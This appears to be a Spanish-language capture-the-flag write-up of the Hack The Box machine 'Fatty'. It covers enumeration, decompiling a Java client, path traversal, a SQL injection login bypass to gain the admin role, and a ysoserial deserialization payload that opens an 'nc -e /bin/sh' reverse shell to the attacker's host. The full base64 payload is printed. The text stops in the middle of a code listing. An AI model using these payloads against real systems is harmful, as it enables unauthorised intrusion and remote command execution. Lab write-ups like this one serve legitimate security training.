Posts Hackthebox Fatty Writeup (OSCP Style)
Post
Cancel

Hackthebox Fatty Writeup (OSCP Style)

Informacion de la máquina.

ContenidoDescripción
OS:
Dificultad:Insana
Puntos:50
Lanzamiento:08-Febrero-2020
IP:10.10.10.174
Primera sangre de usuario:sampriti
Primera sangre de system:jkr

Enumeración.

Comenzamos lanzando un escaneo con nmap a los 65535 puertos para encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts fatty.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-05 13:48 CDT
Nmap scan report for 10.10.10.174
Host is up (0.17s latency).
Not shown: 63320 closed ports, 2210 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
1338/tcp open  wmc-log-svc
1339/tcp open  kjtsiteserver

Nmap done: 1 IP address (1 host up) scanned in 55.67 seconds

Una vez identificado los puertos abiertos, lanzaré scripts de enumeración para detectar los servicios y versiones de los puertos descubiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
intrusionz3r0@kali:~$ nmap -sCV -p21,22,1337,1338,1339 -oN targeted fatty.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-05 13:51 CDT                                                                        
Nmap scan report for fatty.htb (10.10.10.174)                                                                                          
Host is up (0.18s latency).                                                                                                            
                                                                                                                                       
PORT     STATE SERVICE            VERSION                                                                                              
21/tcp   open  ftp                vsftpd 2.0.8 or later                                                                                
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                                 
| -rw-r--r--    1 ftp      ftp      15426727 Oct 30  2019 fatty-client.jar
| -rw-r--r--    1 ftp      ftp           526 Oct 30  2019 note.txt
| -rw-r--r--    1 ftp      ftp           426 Oct 30  2019 note2.txt 
|_-rw-r--r--    1 ftp      ftp           194 Oct 30  2019 note3.txt 
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.15.72
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit 
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh                OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
|_  256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
1337/tcp open  ssl/waste?
|_ssl-date: 2020-08-05T18:52:08+00:00; -4s from scanner time.
1338/tcp open  ssl/wmc-log-svc?
|_ssl-date: 2020-08-05T18:52:07+00:00; -5s from scanner time.
1339/tcp open  ssl/kjtsiteserver? 
|_ssl-date: 2020-08-05T18:52:08+00:00; -4s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:                      
|_clock-skew: mean: -4s, deviation: 0s, median: -4s                                 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                           
Nmap done: 1 IP address (1 host up) scanned in 208.06 seconds

El escaneo determinó lo siguiente:

  • Puerto 21 con servicio FTP que permite el acceso como el usuario anonymous (usuario por defecto) que almacena cuatro archivos.

  • Puerto 22 con servicio SSH.

  • Puertos 1337,1338,1339 con servicios no identificados correctamente.

Enumerando el servicio FTP podemos observar que contiene 4 archivos entre ellos un .jar que es un empaquetado del lenguaje de programación java (probablemente haya que analizar código) además tenemos tres notas.

Nota 1: Queridos miembros, Debido a algunos problemas de seguridad, trasladamos el puerto de nuestro servidor fatty java de 8000 al puerto oculto e indocumentado 1337. Además, creamos dos nuevas instancias del servidor en el puerto 1338 y 1339. Ofrecen exactamente el mismo servidor y sería bueno si usa diferentes servidores día a día para equilibrar la carga del servidor. Fuimos demasiado flojos para arreglar el puerto predeterminado en el archivo ‘.jar’, pero como todos ustedes son desarrolladores senior de Java, deberían ser capaces de haciéndolo usted mismo;) Atentamente, qtc.

Nota 2: Queridos miembros, Actualmente estamos experimentando con nuevos diseños de Java. El nuevo cliente usa un diseño estático. Si tu está utilizando un administrador de ventanas de mosaico o solo tiene un tamaño de pantalla limitado, intente cambiar el tamaño de la ventana del cliente hasta que vea el inicio de sesión de. Además, por razones de compatibilidad, seguimos confiando en Java 8. Dado que las estaciones de trabajo de nuestra compañía envían Java 11 de manera predeterminada, es posible que deba instalarlo manualmente. Atentamente, qtc.

Nota 3: Queridos miembros, Tuvimos que eliminar todas las demás cuentas de usuario debido a algunos problemas de seguridad. Hasta que hayamos solucionado estos problemas, puede usar mi cuenta: Usuario: qtc pass: clarabibi Atentamente, qtc.

Bien instalaremos dos paquetes el primero de ellos es el java 8:

1
intrusionz3r0@kali:~$ sudo apt-get install openjdk-8-jdk

El segundo es el jd-gui para descompilar el .jar

1
intrusionz3r0@kali:~$ sudo apt-get install jd-gui

Al ejecutar el .jar encuentro lo siguiente:

1
intrusionz3r0@kali:~$ java -jar fatty-client.jar

al probar las credenciales que encontramos en las notas recibimos una alerta de error de conexión.

Análisis del Fatty-Client.jar

Descompilo el jar con jd-gui y en el archivo bean.xml y nos topamos con algo interesante:

1
intrusionz3r0@kali:~$ jd-gui fatty-client.jar
1
2
3
4
<bean id="connectionContext" class = htb.fatty.shared.connection.ConnectionContext">
    <constructor-arg index="0" value = "server.fatty.htb"/>
    <constructor-arg index="1" value = "8000"/>
</bean>

Encontramos lo que parece ser un subdominio que agregaremos a nuestro archivo /etc/hosts además necesitamos buscar la manera de comunicarnos con el servidor ya que por defecto utiliza el puerto 8000 y si recuerdas los puertos fueron cambiados.

Una solución sería cambiar el puerto en el archivo bean.xml o crear un túnel, yo optaré por la segunda.

Rápidamente me instalo simpleproxy para poder tunelizar mi puerto 8000 con el puerto 1337 del servidor y poder lograr una comunicación.

1
intrusionz3r0@kali:~$ sudo apt-get install simpleproxy

Creamos el túnel:

1
intrusionz3r0@kali:~$ simpleproxy -L 8000 -R fatty.htb:1337

Cuando nos intentamos loguear vemos que efectivamente se conecta.

Comencé a analizar la aplicación y revisando los archivos y encontré algunos interesantes donde se mencionaba que la aplicación se le había realizado una prueba de pentesting por lo que probablemente esté asociada a alguna vulnerabilidad.

Dado que nuestros clientes de fatty procesan datos confidenciales, nos vimos obligados a realizar una prueba de penetración en ellos. Todavía no tuve tiempo de ver los resultados con más detalle, pero parece que hay algunas críticas. Deberíamos comenzar a solucionar estos problemas lo antes posible.

Estimado señor qtc,

lamentamos informarle sobre algunos problemas de seguridad importantes con su cliente de fatty. Ya intentamos contactarlo por teléfono, pero no lo logramos.

Recomendamos solucionar los problemas con el cliente/servidor fatty lo antes posible. Hasta que se solucionen los problemas, debe proteger/apagar el servidor fatty o cerrar los puertos relacionados en el firewall.

Hola qtc. hasta que se solucionen los problemas del pentest actual, hemos eliminado todos los usuarios administrativos de la base de datos. Su cuenta de usuario es la única que queda. Como solo tiene permisos de usuario, esto debería evitar la explotación de los otros temas. Además, implementamos un tiempo de espera en el procedimiento de inicio de sesión. Los ataques de inyección de SQL de tiempo pesado ya no son posibles. Atentamente, Dave

Descompilo nuevamente la aplicación con jd-gui para analizarla a profundidad.

Revisando la clase Invoker.class encontramos un método muy interesante.

Fatty-Client.jar -> Invoker.class (jd-gui)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {  }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
      return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
    }
    return this.response.getContentAsString();
  }

Este método nos permite visualizar una carpeta en concreto ya que recibe como parámetro el nombre del folder por lo que si lo modificamos un poco seríamos capaces de visualizar cuales son los archivos que se encuentran en el servidor (como un tipo LFI aunque aún no sabemos el alcance que tendremos), así que me puse a buscar donde se invoca este método.

Fatty-Client.jar -> ClientGuiTest.class (jd-gui)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
   configs.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "configs";
            try {
              response = ClientGuiTest.this.invoker.showFiles("configs"); //Aquí se invoca el metodo showFiles de la clase invoker.
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });
    
    notes.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "notes";
            try {
              response = ClientGuiTest.this.invoker.showFiles("notes"); //Aquí se invoca el metodo showFiles de la clase invoker.
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });
    
    mail.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "mail";
            try {
              response = ClientGuiTest.this.invoker.showFiles("mail"); //Aquí se invoca el metodo showFiles de la clase invoker.
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });

Bien, si observamos los JMenuItem de mail,configs y notes podemos observar que cada uno de estos tiene su método listener addActionListener y por ende tiene su método actionPerformed que es lo que se ejecutará cuando ocurra cierto evento. En este caso cada uno de estos JMenuItem instancia un objeto de la clase invoker invocando así su método showfiles() que recibe como parámetro el nombre del folder a visualizar.

Así que nuestro objetivo es modificar cualquiera JMenuItem para poder comenzar a enumerar los archivos del servidor.

Nota: Investigando un poco encontre de que debemos saltar la verificación de firmas para no tener problemas a la hora de trabajar el proyecto.

Eliminación de firmas y creación del proyecto.

Para ello ejecutamos el siguiente comando:

1
2
3
intrusionz3r0@kali:~$ zip -d fatty-client.jar META-INF/1.RSA META-INF/1.SF
deleting: META-INF/1.SF
deleting: META-INF/1.RSA

Rápidamente desempaqueto el jar con jd-gui, me voy a File -> Save All Sources

Después vamos a eclipse y creamos un nuevo proyecto llamado Fatty-Client , importamos el Fatty.Client.jar y construimos el proyecto siguiendo la misma estructura original del Fatty-Client.jar

Pasos:

  1. Dentro de la carpeta src metemos la carpeta htb.
  2. Resolvemos las excepciones que se nos presentan en el proyecto.

Es tan sencillo como colocar el cursor encima de la línea y hacer click en add throws declaration, eso para el message.java.

Para el archivo ClientGuiTest.java de la misma manera colocamos el cursor encima de la línea y hacemos click en surround with try/catcho surround with try/multi-catch, despues las variables response las inicializamos en cadena vacía. String response="";

La estructura final del proyecto quedara de la siguiente manera:

Otra alternativa es usar maven, para instalarlo ejecutamos el siguiente comando:

1
intrusionz3r0@kali:~$ sudo apt-get install maven

Después solo construimos el proyecto de la misma manera que el anterior, con la diferencia de que debemos colocar el pom.xml en la base del proyecto, una vez armado solo solucionamos las excepciones de la misma manera que como lo hicimos anteriormente y nuestro proyecto estará listo.

Bien, volvamos a eclipse.

Modificaremos el archivo ClientGuiTest.java.

Fatty-Client -> ClientGuiTest.java (eclipse)

Para ellos tomare el JMenuItem de configs y voy a modificar su método showFiles().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
     configs.addActionListener(new ActionListener()
         {
           public void actionPerformed(ActionEvent e) {
             String response = "";
             ClientGuiTest.this.currentFolder = "configs";
             try {
               response = ClientGuiTest.this.invoker.showFiles("../"); //Modificamos aqui.
             } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
               JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
 
             
             }
             catch (IOException e2) {
               JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
             } 
 
 
             
             textPane.setText(response);
           }
         });

Ejecutamos el proyecto y si nos vamos a FileBrowser -> configs

**

¡¡Eureka!!

Logramos manipular la salida, logrando así visualizar el contenido del folder. enter image description here

En este punto intente hacer muchas cosas como ver si podía enumerar más archivos modificando el parámetro, pero no tuve éxito alguno así que toda mi atención se la llevó el fatty-server.jar debía buscar la manera de llegar a él de alguna manera o descargarlo.

Una eternidad mas tarde, Bob Esponja HD Español - YouTube

Convertir el Fatty-Server.jar en bytes.

Después de mucho pero mucho tiempo llegue a la conclusión de que para poder descargar el archivo necesitaba convertir el fatty-server.jar en bytes de tal manera que pudiera escribirlos en un archivo local de mi máquina.

Para lograr nuestro objetivo necesitamos importar dos clases la primera de ellas se llama FileOutPutStream que nos permitira utilizar su método write() y la segunda se llama File que utilizaremos para guardar esos bytes en un archivo y poder asi tener el fatty-server.jar de manera local.

Nos vamos a invoker.java e importamos las dos clases.

1
2
import java.io.File;
import java.io.FileOutputStream;

Después escribimos el siguiente método que lo llamaremos writeFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public String writeFile() throws MessageParseException, MessageBuildException, IOException {
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument("../");
    this.action.addArgument("fatty-server.jar");
    sendAndRecv();
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
   }
   try{
	System.out.println("Estamos escribiendo dentro del archivo");
	OutputStream os = new FileOutputStream(new File("fatty-server.jar"));
	os.write(this.response.getContent());
	os.close();
	
   }catch(Exception exc1){}

return "Archivo descargado correctamente !!";
}

Ahora necesitamos invocar este método en alguna parte, nos iremos a ClientGuiTest.java y lo invocaremos en el botón de open.

Fatty-Client -> ClientGuiTest.java (eclipse)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    openFileButton.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            if (ClientGuiTest.this.currentFolder == null) {
              JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);

              
              return;
            } 
            
            String response = "";
            String fileName = ClientGuiTest.this.fileTextField.getText();
            fileName.replaceAll("[^a-zA-Z0-9.]", "");
            try {
              //response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);
              response = ClientGuiTest.this.invoker.writeFile(); //Aquí invocamos el método writeFile()
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });

Nos vamos a FileBrowser -> configs y hacemos click en el botón de open.

Análisis del Fatty-Server.jar

Bien, ahora que tenemos nuestro fatty-server.jar los vamos a analizar con jd-gui.

Después de buscar un buen rato encontramos lo siguiente:

Fatty-Server.jar -> FattyDbSession (jd-gui)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
  public User checkLogin(User user) throws LoginException {
    Statement stmt = null;
    ResultSet rs = null;
    User newUser = null;
    
    try {
      stmt = this.conn.createStatement();
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");

      
      try {
        Thread.sleep(3000L);
      } catch (InterruptedException e) {
        return null;
      } 
      
      if (rs.next()) {
        
        int id = rs.getInt("id");
        String username = rs.getString("username");
        String email = rs.getString("email");
        String password = rs.getString("password");
        String role = rs.getString("role");
        newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
        
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword())) {
          return newUser;
        }
        throw new LoginException("Wrong Password!");
      } 
      
      throw new LoginException("Wrong Username!");
    }
    catch (SQLException e) {
      this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      
      return null;
    } 
  }

Bien sabemos que nuestro usuario qtc pertenece al grupo de usuario normal por lo que es muy probable que seamos capaces de poder cambiar el rol de qtc a admin aprovechandonos de la query que se hace a la base de datos.

Si revisamos el código que se ejecuta cuando se da click al boton de login vemos lo siguiente:

Fatty-Client.jar -> ClientGuiTest (jd-gui)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
    JButton btnNewButton = new JButton("Login ");
    btnNewButton.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String username = ClientGuiTest.this.tfUsername.getText().trim();
            String password = new String(ClientGuiTest.this.tfPassword.getPassword());
            ClientGuiTest.this.user = new User();
            ClientGuiTest.this.user.setUsername(username);
            ClientGuiTest.this.user.setPassword(password);
            
            try {
              ClientGuiTest.this.conn = Connection.getConnection();
            } catch (htb.fatty.client.connection.Connection.ConnectionException e1) {
              JOptionPane.showMessageDialog(LoginPanel, "Connection Error!", "Error", 0);

              
              return;
            } 
            
            if (ClientGuiTest.this.conn.login(ClientGuiTest.this.user)) {
              JOptionPane.showMessageDialog(LoginPanel, "Login Successful!", "Login", 1);


              
              LoginPanel.setVisible(false);
              
              String roleName = ClientGuiTest.this.conn.getRoleName();
              ClientGuiTest.this.user.setRoleByName(roleName);
              
              if (roleName.contentEquals("admin")) {
                uname.setEnabled(true);
                users.setEnabled(true);
                netstat.setEnabled(true);
                ipconfig.setEnabled(true);
                changePassword.setEnabled(true);
              } 
              if (!roleName.contentEquals("anonymous")) {
                whoami.setEnabled(true);
                configs.setEnabled(true);
                notes.setEnabled(true);
                mail.setEnabled(true);
                ping.setEnabled(true);
              } 
              ClientGuiTest.this.invoker = new Invoker(ClientGuiTest.this.conn, ClientGuiTest.this.user);
              controlPanel.setVisible(true);
            } else {
              
              JOptionPane.showMessageDialog(LoginPanel, "Login Failed!", "Login", 1);


              
              ClientGuiTest.this.conn.close();
            } 
          }
        });

Podemos observar que necesitamos ser administradores para poder utilizar las funciones más avanzadas, además que si revisamos bien parece ser que cuando se invoca este método se ejecuta una línea de código para instanciar un nuevo usuario al que le asigna un nombre y una contraseña utilizando los métodos de la clase user.

1
2
3
ClientGuiTest.this.user = new User();  //Instancia un objeto de la clase User.
ClientGuiTest.this.user.setUsername(username); //Toma el nombre de usuario y lo asigna.
ClientGuiTest.this.user.setPassword(password); //Asigna una password.

Si nos vamos a la clase user.java encontramos los métodos correspondientes.

Fatty-Client -> User.java (jd-gui)

1
2
3
4
5
6
7
8
9
10
11
12
13
  public void setUsername(String username) { this.username = username; }
  
  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

Logramos ver cómo es que se asigna la contraseña a un usuario de tal manera que utiliza el nombre de usuario, la contraseña y el string clarabibimakeseverythingsecure para poder crear un hash utilizando SHA-256.

Lo que significa que nosotros no podemos inyectar porque el hash cambiaria, esto debido a que si inyectamos en el campo de usuario toda la cadena de la inyección SQL la tomaría como un usuario.

Ejemplo:

  • Usuario: qtc’ inyección
  • contraseña: clarabibi
  • String fijo: clarabibimakeseverythingsecure

Sin inyección: 5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046

Con inyección: A60A698773EA9C9B994F54C0E62C04D70AD87D3A0B210EBCED502CFDF26EEB33

Entonces ahora que comprendemos bien el funcionamiento de esto lo que podemos hacer es realizar una modificación en el código exactamente en la parte de username para darle una cadena estática en este caso el usuario qtc logrando así que seamos capaces de inyectar una sentencia de sql para poder cambiar el rol del usuario qtc a admin.

Hacemos la siguiente modificación: Fatty-Client.jar -> User.java

1
2
3
4
5
6
7
8
9
10
11
  public void setPassword(String password) {
    String hashString = 'qtc' + password + "clarabibimakeseverythingsecure"; //Aquí.
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

La inyección quedara de la siguiente manera:

Username: qtc’ UNION SELECT id,username,email,password,’admin’ FROM users ORDER BY role ASC LIMIT 1#

Password: clarabibi

¡¡Eureka!!

enter image description here

Hasta ahora la máquina ha sido una gran aventura, muy compleja debido a que es mucho análisis de código en java.

Preparate que ahora viene lo bueno.

enter image description here

Deserialización de java.

Ahora que tenemos las funciones de administrador avanzadas poder continuar.

Después de varios días encontré la parte del código vulnerable:

Fatty-Server.jar -> Commands.class (jd-gui)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  public static String changePW(ArrayList<String> args, User user) {
    logger.logInfo("[+] Method 'changePW' was called.");
    int methodID = 7;
    if (!user.getRole().isAllowed(methodID)) {
      logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" + user.getUsername() + "' with role '" + user.getRoleName() + "'.");
      return "Error: Method 'changePW' is not allowed for this user account";
    } 
    response = "";
    
    String b64User = (String)args.get(0);
    byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
    ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
    
    try {
      ObjectInputStream oIn = new ObjectInputStream(bIn);
      
      User user1 = (User)oIn.readObject(); //Vulnerabilidad.
    } catch (Exception e) {
      e.printStackTrace();
      return response + "Error: Failure while recovering the User object.";
    } 

    
    return response + "Info: Your call was successful, but the method is not fully implemented yet.";
  }

En el método changePW hay un método que se llama readObject() que es el que nos va a permitir lograr explotar esta aplicación.

1
User user1 = (User)oIn.readObject(); //Vulnerabilidad.

Prácticamente la vulnerabilidad se encuentra en uno de los paquetes importados en el fatty-server.jar llamado commons-collection de tal manera que necesitamos enviar un objeto malicioso que pase por el método readObject() así este objeto no será serializado por el nodo padre logrando así la ejecución de comandos a nivel de sistema.

Para más información puede consultar el siguiente artículo:

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

Necesitaremos descargarnos el ysoserial para crear nuestro payload.

1
2
3
intrusionz3r0@kali:~$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'nc 10.10.15.72 1234 -e /bin/sh' | base64 -w0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHm5jIC1lIC9iaW4vc2ggMTAuMTAuMTUuNzIgMTIzNHQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

Después haremos la siguiente modificación:

Fatty-Client.jar -> Invoker.java (eclipse)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 public String changePW(String username, String newPassword) throws MessageParseException, MessageBuildException, IOException {
//    String methodName = (new Object() {  }).getClass().getEnclosingMethod().getName();
//    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
//    if (AccessCheck.checkAccess(methodName, this.user)) {
